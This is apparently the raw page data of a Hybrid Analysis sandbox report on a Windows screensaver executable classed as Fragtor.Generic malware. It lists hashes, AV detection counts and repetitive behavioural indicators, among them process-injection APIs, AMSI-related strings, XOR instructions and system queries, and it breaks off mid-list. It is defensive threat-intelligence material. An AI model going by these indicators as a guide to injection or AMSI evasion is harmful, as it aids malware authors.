24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 64:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T493,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Fragtor.Generic Sample 0951a4a0aa2c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0951a4a0aa2c…. Malware family: Fragtor.Generic. Threat score 100/100. 15/25 AV engines flagged this file. 11 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd","keywords":["Malicious","Fragtor.Generic","malware analysis","sandbox report","threat intelligence","0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd"],"about":{"@type":"SoftwareApplication","name":"Wemhwwlidxivdd.scr","applicationCategory":["peexe","executable"],"identifier":"0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Fragtor.Generic","antivirusDetections":{"malicious":15,"total":25},"behavioralIndicators":{"malicious":11,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Td8e,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "NtWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "NtWaitForSingleObject" (Indicator: "NtWaitForSingleObject"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp")26:T1797,Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00007408.00000000.95569.004FD000.00000004.mdmp, 00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.004FD000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00007408.00000000.95569.004FD000.00000004.mdmp, 00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp, 00000000-00007408.00000001.97489.00401000.00000020.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F010000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.004FD000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7E950000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "NtAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "NtWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "WriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp, 00000000-00007408.00000001.97489.00401000.00000020.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F010000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7E950000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp")27:T91c,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp")28:T6f7,Observed string: "??\C:\WINDOWS\SYSTEM32\Amsi.DLL" (Indicator: "amsi.dll") in Source: 00000000-00007408.00000000.95569.029E0000.00000004.mdmp 00000000-00007408.00000001.97489.029E0000.00000004.mdmp 00000000-00007408.00000002.99408.029E0000.00000004.mdmp Observed string: ":\WINDOWS\SYSTEM32\Amsi.DLL" (Indicator: "amsi.dll") in Source: 00000000-00007408.00000000.95569.029E0000.00000004.mdmp 00000000-00007408.00000001.97489.029E0000.00000004.mdmp 00000000-00007408.00000002.99408.029E0000.00000004.mdmp Observed string: "Amsi.DLL" (Indicator: "amsi.dll") in Source: 00000000-00007408.00000000.95569.029E0000.00000004.mdmp 00000000-00007408.00000001.97489.029E0000.00000004.mdmp 00000000-00007408.00000002.99408.029E0000.00000004.mdmp Observed string: ":\windows\system32\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00007408.00000000.95569.029E0000.00000004.mdmp Observed string: ":\Amsi.DLL" (Indicator: "amsi.dll") in Source: 00000000-00007408.00000000.95569.029E0000.00000004.mdmp 00000000-00007408.00000001.97489.029E0000.00000004.mdmp 00000000-00007408.00000002.99408.029E0000.00000004.mdmp Observed string: "AmsiScanBuffer" (Indicator: "amsiscanbuffer") in Source: 00000000-00007408.00000000.95569.04960000.00000004.mdmp 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp 00000000-00007408.00000001.97489.04960000.00000004.mdmp 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp 00000000-00007408.00000002.99408.065F1000.00000020.mdmp 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp 00000000-00007408.00000002.99408.7F110000.00000004.mdmp Observed string: "NDOWS\SYSTEM32\Amsi.DLL" (Indicator: "amsi.dll") in Source: 00000000-00007408.00000001.97489.029E0000.00000004.mdmp 00000000-00007408.00000002.99408.029E0000.00000004.mdmp29:Ta05,Assembly shows XOR instruction xor dword ptr [eax] edx in Stream UID: 38328-612-00406F60 Assembly shows XOR instruction lock xor dword ptr [eax] edx in Stream UID: 38328-627-00406F20 Assembly shows XOR instruction xor edx dword ptr [eax] in Stream UID: 38328-629-00406E78 Assembly shows XOR instruction xor byte ptr [eax] dl in Stream UID: 38328-637-00406FC0 Assembly shows XOR instruction xor eax 35580010h in Stream UID: 38328-642-00406D90 Assembly shows XOR instruction xor edx dword ptr [eax] in Stream UID: 38328-656-00406E40 Assembly shows XOR instruction xor dword ptr [eax] edx in Stream UID: 38328-700-00406F48 Assembly shows XOR instruction xor eax 35AA0010h in Stream UID: 38328-748-00406D60 Assembly shows XOR instruction xor esi dword ptr [edx] in Stream UID: 38328-1538-0040EFF8 Assembly shows XOR instruction xor ch byte ptr [esi] in Stream UID: 38328-1538-0040EFF8 Assembly shows XOR instruction xor al byte ptr [eax] in Stream UID: 38328-1538-0040EFF8 Assembly shows XOR instruction xor eax 35B60010h in Stream UID: 38328-1735-00406D58 Assembly shows XOR instruction xor byte ptr [edx+40h] bh in Stream UID: 38328-1805-00407A1F Assembly shows XOR instruction xor dl byte ptr [eax] in Stream UID: 38328-1929-00406ED8 Assembly shows XOR instruction xor dh byte ptr [edx] in Stream UID: 38328-1940-00406EF8 Assembly shows XOR instruction xor dl byte ptr [eax] in Stream UID: 38328-1940-00406EF8 Assembly shows XOR instruction xor dword ptr [eax] edx in Stream UID: 38328-2346-00406F50 Assembly shows XOR instruction xor eax edx in Stream UID: 38328-2412-0042C620 Assembly shows XOR instruction xor byte ptr [eax+edx] ch in Stream UID: 38328-2547-004071B0 Assembly shows XOR instruction xor al 10h in Stream UID: 38328-3047-00406E00 Assembly shows XOR instruction xor dh byte ptr [ebx] in Stream UID: 38328-3296-00406E80 Assembly shows XOR instruction xor al 10h in Stream UID: 38328-3423-00406DE8 Assembly shows XOR instruction xor byte ptr [edi] 10h in Stream UID: 38328-3442-00407B40 Assembly shows XOR instruction xor dword ptr [edi] eax in Stream UID: 38328-3564-0046E9D0 Assembly shows XOR instruction xor dword ptr [00500650h] eax in Stream UID: 38328-3564-0046E9D0 Assembly shows XOR instruction xor al 10h in Stream UID: 38328-3592-00406DF8 Assembly shows XOR instruction xor al 24h in Stream UID: 38328-4238-004075B8 Assembly shows XOR instruction xor byte ptr [esi+00h] al in Stream UID: 38328-4526-00462FEE Assembly shows XOR instruction xor al 10h in Stream UID: 38328-5369-00406DD02a:T52c,Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp")2b:Tfb3,Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007408.00000000.95569.029E0000.00000004.mdmp, 00000000-00007408.00000001.97489.029E0000.00000004.mdmp, 00000000-00007408.00000002.99408.029E0000.00000004.mdmp") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "FindWindowA" (Indicator: "findwindow"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp")2c:Tabe,"0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000f0ea620094ea6200226e737600005304000000002d6e7376050c1b072d000000ecb7a87418eb62000000160058f19f02f0b09e02180000008000000058ea620000001600dcea620070c8747669970071feffffff2d000000d0ccb77427000000acea6200856a75761c237a76ecea6200f85f757608000000bb697476b26974767d0c1b072d000000ecb7a87427000000d0ccb774c0ea62002d000000d0ccb77427000000f0ea6200856a75761c237a7638eb62007e8ab674ee8cb674738ab674c6fcdee42d000000ecb7a87427000000d0ccb774fc25530490255304c6fcdee400eb6200fc52f474eceb6200e084b674c6e64e90feffffff738ab674 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007408)2d:T568,Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp")2e:T75a,Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpace"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp, 00000000-00007408.00000001.97489.00401000.00000020.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F010000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7E950000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "GlobalMemoryStatus" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 